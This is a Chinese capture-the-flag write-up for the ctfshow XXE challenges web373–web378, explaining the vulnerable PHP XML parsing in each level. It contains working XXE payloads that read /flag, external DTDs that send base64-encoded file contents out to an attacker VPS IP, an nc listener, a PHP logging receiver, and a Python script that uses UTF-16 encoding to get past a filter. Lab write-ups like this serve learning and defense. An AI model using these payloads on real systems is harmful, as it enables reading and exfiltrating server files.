ctfshow-XXE(web373-web378)

目录

XXE(外部实体注入攻击)

web373

web374

web375

web376

web377

web378

知识点


XXE(外部实体注入攻击)

XXE这几关有个前提flag在根目录下文件名为flag

web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();//该对象用于操作xml数据$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//加载 XML 文件并进行解析$creds = simplexml_import_dom($dom);//换了一种方式$ctfshow = $creds->ctfshow;//将xmlctfshow标签里面的内容赋值个ctfshow这个变量echo $ctfshow;//输出这个值
}
highlight_file(__FILE__);    

这一看源码和我刚学习XXE看的那篇源码一样

通过伪协议input获取post中的数据流 然后

libxml_disable_entity_loader(false);启用 libxml 实体加载器功能,允许 XML 解析器加载外部实体

LIBXML_NOENT 表示禁止实体扩展 xml自带实体比如&lt; &gt;不能使用 以及内部实体(大概率是)

LIBXML_DTDLOAD 表示允许加载外部 DTD

多了不说 既然有回显 那就简单了

payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TZY [
<!ENTITY tzy SYSTEM "file:///flag">
]>
<hello>
<ctfshow>&tzy;</ctfshow>
</hello>

web374

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

这就没有回显了(blind xxe) 可以使用外带数据通道提取数据

没有回显记住口诀 xml获取dtd dtd中放base64读取文件和带数据 

既然没有回显那就把数据带出来吧

payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;%int;%send;
]>

vps test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?q=%file;'>">

vps上nc -lvv 进行监听

第一种方式

 vps test.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224/index.php?q=%file;'>">

常见index.php文件 用于接受q参数

<?php $tzy = $_GET['q'];$myFile = "tzy.txt";file_put_contents($myFile, $tzy, FILE_APPEND);
?>

这道题才是正规的一点没有报错 做的很爽

使用web-4观心wp的不正规方式 试一下 根本就不行 因为数据包根本就没有返回报错信息 那个wp的方式恰巧报错信息等信息能返回 恰巧能输出flag 设置error_reporting(0);就不会返回报错信息了

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了xml的证明 (我记得学习基础的时候说必须要写 但是做题的时候发现不需要写,就算必须写有两种方式绕过 双引号变成单引号,在xml和version多加一个空格 都是可以的)

和上面题同理

使用一个不同的方式吧(原理都是一个意思) 为什么要绕一圈呢,就是因为在请求的时候 默认不允许将本地文件发送到dtd文件 间接的影响了我们的请求 所以要套一层

也就是说将dtd引过来之后首先解析第一层实体定义 内容为另一个实体定义 继续解析另一个实体定义 从而达到了发送请求 如果不这样套一层 直接放入xml 系统默认是不允许得,这也能解释为什么要用参数实体 因为调用dtd是在内部dtd中调用的 内部dtd只能使用参数实体的方式

我是将读本地文件和请求vps都放到dtd中 xml只放引用dtd的

很多都是请求vps的放入dtd中 xml中放读本地文件和引用dtd的

payload

<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">%myurl;
]> 

vps dtd文件

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
%dtd;
%vps;

成功 之前是监听的请求中的参数 这次是监听请求的路径 一个意思都能监听到

web376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

比上一题多一个/i大小写 没区别 同理

web377

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){die('error');
}
if(isset($xmlfile)){$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了http 看别人的wp说是使用utf-16编码就能绕过 我就手动将payload(和上一题一样的)进行utf-16就是不行 必须使用python发包 发包前进行utf-16编码 而且就算用python进行utf-16编码 手动发送也不行 必须也要让python发包 才可以(我估计是啥 如果进行特定编码方式 然后发包 估计还有增加请求头 类似这种 python发包可以自动补全)

能编码简单理解就是(我的理解)input获取到数据后 先绕过正则 然后在操作xml的时候这个对象就能识别出是xml 因为xml支持utf-16 这时哪怕在xml声明编码方式为utf-8这也无所谓  这声明的只是xml内容为utf-8 但是整体过来是utf-16 这个对象是能识别出来的 然后看到这个声明为utf-8后再将内容设为utf-8的编码方式 

其余同理

python代码为

import requests
url = 'http://fdccab41-0e0d-48fa-89af-21ce8bffa466.challenge.ctf.show/'
payload = '''<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">%myurl;
]> 
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)

web378

通过这个数据就知道这是xml数据 服务器后端肯定会使用xml解析这个数据

源码中也能看出来

function doLogin(){
//不为空就行var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}//定义一下数据var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
使用异步发送请求$.ajax({type: "POST",url: "doLogin",contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型data: data,dataType: "xml",//接收的数据类型为anysc: false,success: function (result) {从返回的 XML 数据中获取名为 "code" 的元素的值。var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");//如果code为1显示登录成功}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},
//在 AJAX 请求失败时执行 当发生错误时,会在页面上显示 errorThrown + ':' + textStatus,即显示异常信息和错误状态描述error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}}); 
}

 contentType: "application/xml;charset=utf-8",//告诉服务器我的数据类型

X-Requested-With: XMLHttpRequest 这是告诉服务器我是ajax进行异步通信 数据可能是xml也可能是json(这俩大概率) 都有可能

发送的是xml数据 回来的也是xml数据(其实回来的不用管)服务器肯定是解析xml

传入paylaod

我想使用这种方法 但是不好使 估计是在服务器设置了不允许进行使用外部DTD

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://49.234.38.224/test.dtd">
%remote;%int;%send;
]>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://49.234.38.224:9999?q=%file;'>">

好好观察一下源码发现$(".msg").text(msg + " login fail!");

随便登录一下 账户名admin 密码123456 显示 admin login fail 这个msg就是用户名

这个msg是从服务器返回的xml数据中提取的 那么服务器的msg肯定是从我们上传的xml中提取的

那么直接就能将&xxe输出也就是flag的内容 我看大佬说这是特别标准的xxe估计这种很常见

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]><user><username>&xxe;</username></user>

知识点

为什么是外部实体注入 为什么要引入外部呢 也是我之前迷茫的地方

举个例子 比如

xml文件
<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % myurl SYSTEM "http://49.234.38.224/test.dtd">%myurl;
]> 
dtd文件
<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">
%dtd;
%vps;

直接写成 不也行嘛

xml文件
<!DOCTYPE hacker[<!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><!ENTITY  % vps SYSTEM 'http://49.234.38.224:9999/%file;'> ">%vps;
]> 

这里注意参数实体引用%file;必须放在外部文件里,因为根据这条 规则 。在内部DTD里,参数实体引用只能和元素同级而不能直接出现在元素声明内部 (必须是双层嵌套哦)

如果放在外部%myurl引用dtd文件 %dtd引用另一个实体引用 %vps再引用我们的请求 这样是可以的 虽然最终也是在内部dtd中 但是两者就是不一样

还有一点就是在声明的内部中%要进行实体编码 因为%这种不符合xml的符号必须要进行实体编码 

也就是说%dtd 不允许有和xml冲突的字符在值里面

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/737130.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

stable diffusion的额外信息融入方式

conditioning怎么往sd中添加&#xff0c;一般有三种&#xff0c;一种是直接和latent拼一下&#xff0c;另外很多是在unet结构Spatialtransformers上加&#xff0c;和文本特征一样&#xff0c;通过cross-attention往unet上加&#xff0c;这里还需要注意一点&#xff0c;在文本嵌…

调整分区失败,硬盘难启:原因分析与数据恢复之道

在数字化时代&#xff0c;硬盘作为存储数据的重要工具&#xff0c;其稳定性和安全性至关重要。然而&#xff0c;有时在调整分区的过程中&#xff0c;我们可能会遭遇失败&#xff0c;导致硬盘无法打开&#xff0c;数据无法访问。这种情况不仅令人沮丧&#xff0c;更可能带来不可…

基于springboot+layui仓库管理系统设计和实现

基于 java springbootlayui仓库管理系统设计和实现 博主介绍&#xff1a;多年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐留言 文末获取…

不要在代码中随便使用try...catch了

前言 &#x1f4eb; 大家好&#xff0c;我是南木元元&#xff0c;热爱技术和分享&#xff0c;欢迎大家交流&#xff0c;一起学习进步&#xff01; &#x1f345; 个人主页&#xff1a;南木元元 目录 背景 js中的try...catch try...catch运行机制 js的事件循环机制 try...c…

「2024」不再内卷,让AI低代码带你玩点新花样!

这一次&#xff0c;OpenAI的不败传奇终于被撼动。 其强劲对手Anthropic于北京时间&#xff08;2024年3月4日&#xff09;震撼发布新一代AI大模型系列——Claude 3。 根据官方性能测试数据的展示&#xff0c;Claude 3系列模型在各项表现上均超越GPT-4&#xff0c;荣登全球最强…

基于yolov7与arduino的眼睛跟随模块

基于yolov7与arduino的眼睛跟随模块 整个模块的介绍摄像模块图片传输模块图像检测模块控制模块动力模块 整个模块的介绍 我们首先需要一个图片收集的模块来对当前的图片进行收集然后将图片传至服务端对图片中的眼睛利用YOLO进行检测最后将数据传至arduino使其控制动力模块来进…

小额投资者如何投资黄金?

天下熙熙&#xff0c;皆为利来。近来&#xff0c;无论是黄金还是英伟达&#xff0c;各有各的火爆&#xff0c;这引起了广泛新手投资者的关注&#xff0c;许多小白玩家也跃跃欲试。事实上&#xff0c;并非入场越久越可被称为成熟的投资者&#xff0c;投资并不限定于特定的资金规…

导出谷歌浏览器收藏的网页,并查看网页保存的登录密码

导出谷歌浏览器&#xff08;Chrome&#xff09;收藏的网页&#xff08;书签&#xff09;&#xff1a; 打开谷歌浏览器。在浏览器右上角找到并点击三个垂直排列的小点&#xff08;或称汉堡菜单&#xff09;以打开主菜单。在下拉菜单中选择“书签” > “书签管理器”。在书签…

不被折叠的朋友圈这样发

现在朋友圈折叠有两种&#xff1a;第一种是文案折叠&#xff0c;第二种是整条折叠。 说下现象、原因和解决办法。 01 文案折叠 现象&#xff1a;只有文字被折叠成一行&#xff0c;图片视频还能看到&#xff0c;其它内容看不到。 折叠原因&#xff1a;发布的内容在自己朋友圈…

Oracle数据恢复—Oracle被误删表不要慌!掌握如何恢复Oracle表!

Oracle数据库数据恢复环境&#xff1a; 北京某国企客户Oracle 11g R2数据库误truncate table CM_CHECK_ITEM_HIS&#xff0c;表数据丢失&#xff0c;业务查询到该表时报错&#xff0c;数据库的备份不可用&#xff0c;无法查询表数据。 Oracle数据库执行Truncate命令的原理&am…

SSM整合项目(使用Vue3 + Element-Plus创建项目基础页面)

1.配置Vue启动端口 1.修改vue.config.js const {defineConfig} require(vue/cli-service) module.exports defineConfig({transpileDependencies: true }) module.exports {devServer: {port: 9999 //启动端口} }2.启动 2.安装Element Plus 命令行输入 npm install eleme…

微信小程序购物/超市/餐饮/酒店商城开发搭建过程和需求

1. 商城开发的基本框架 a. 用户界面&#xff08;Frontend&#xff09; 页面设计&#xff1a;包括首页、商品列表、商品详情、购物车、下单界面、用户中心等。交云设计&#xff1a;如何让用户操作更加流畅&#xff0c;包括搜索、筛选、排序等功能的实现。响应式设计&#xff1…

群晖Synology Office本地文件如何分享给同事远程协作编辑【内网穿透】

文章目录 本教程解决的问题是&#xff1a;1. 本地环境配置2. 制作本地分享链接3. 制作公网访问链接4. 公网ip地址访问您的分享相册5. 制作固定公网访问链接 本教程解决的问题是&#xff1a; 1.Word&#xff0c;PPT&#xff0c;Excel等重要文件存在本地环境&#xff0c;如何在编…

访问一次网站的全过程

目录 流程图&#xff1a; 一、应用层开始 1. 在浏览器输入https://www.baidu.com 2. DNS获取IP地址 3. 根据HTTP协议生成HTTP请求报文 应用层结束 二、传输层开始 4. TCP三次握手 传输层结束 三、网络层开始 5. IP寻址 6. ARP协议获取MAC地址 网络层结束 四、数据…

CSS 02

1.复合选择器 &#xff08;1.1&#xff09;后代选择器 代码&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0&q…

ICLR 2024 | Meta AI提出ViT寄存器结构,巧妙消除大型ViT中的伪影以提高性能

论文题目&#xff1a;Vision Transformers Need Registers 论文链接&#xff1a;https://arxiv.org/abs/2309.16588 视觉Transformer&#xff08;ViT&#xff09;目前已替代CNN成为研究者们首选的视觉表示backbone&#xff0c;尤其是一些基于监督学习或自监督学习预训练的ViT&a…

【Java EE】线程安全的集合类

目录 &#x1f334;多线程环境使用 ArrayList&#x1f38d;多线程环境使⽤队列&#x1f340;多线程环境使⽤哈希表&#x1f338; Hashtable&#x1f338;ConcurrentHashMap ⭕相关面试题&#x1f525;其他常⻅问题 原来的集合类, 大部分都不是线程安全的. Vector, Stack, HashT…

智慧城市的定义是什么?

智慧城市&#xff1a;就是运用信息和通信技术手段感测、分析、整合城市运行核心系统的各项关键信息&#xff0c;从而对包括民生、环保、公共安全、城市服务、工商业活动在内的各种需求做出智能响应。其实质是利用**的信息技术&#xff0c;实现城市智慧式管理和运行&#xff0c;…

【小白必看】永久提升代码/算法能力的6个编程习惯(推荐阅读)

前言 编程和算法能力是当代工程师的核心竞争力之一。想要快速提升自己的编程和算法能力&#xff0c;却苦于没有合适的方法&#xff1f;别担心&#xff0c;今天我将与你分享6个高效编程习惯&#xff0c;让你轻松提升编程和算法能力&#xff01; 大家好&#xff0c;我是Erik&am…

使用脚本批量下载nuscens数据集

Nuscenes 完整版数据集批量下载 需求&#xff1a; 高速下载Nuscenes完整版数据集。采用google浏览器自带工具下载&#xff0c;速度慢&#xff0c;且容易断。 数据地址 官方地址&#xff1a;https://www.nuscenes.org/nuscenes 如何获取 Nuscenes 数据集的路径 安装插件 ch…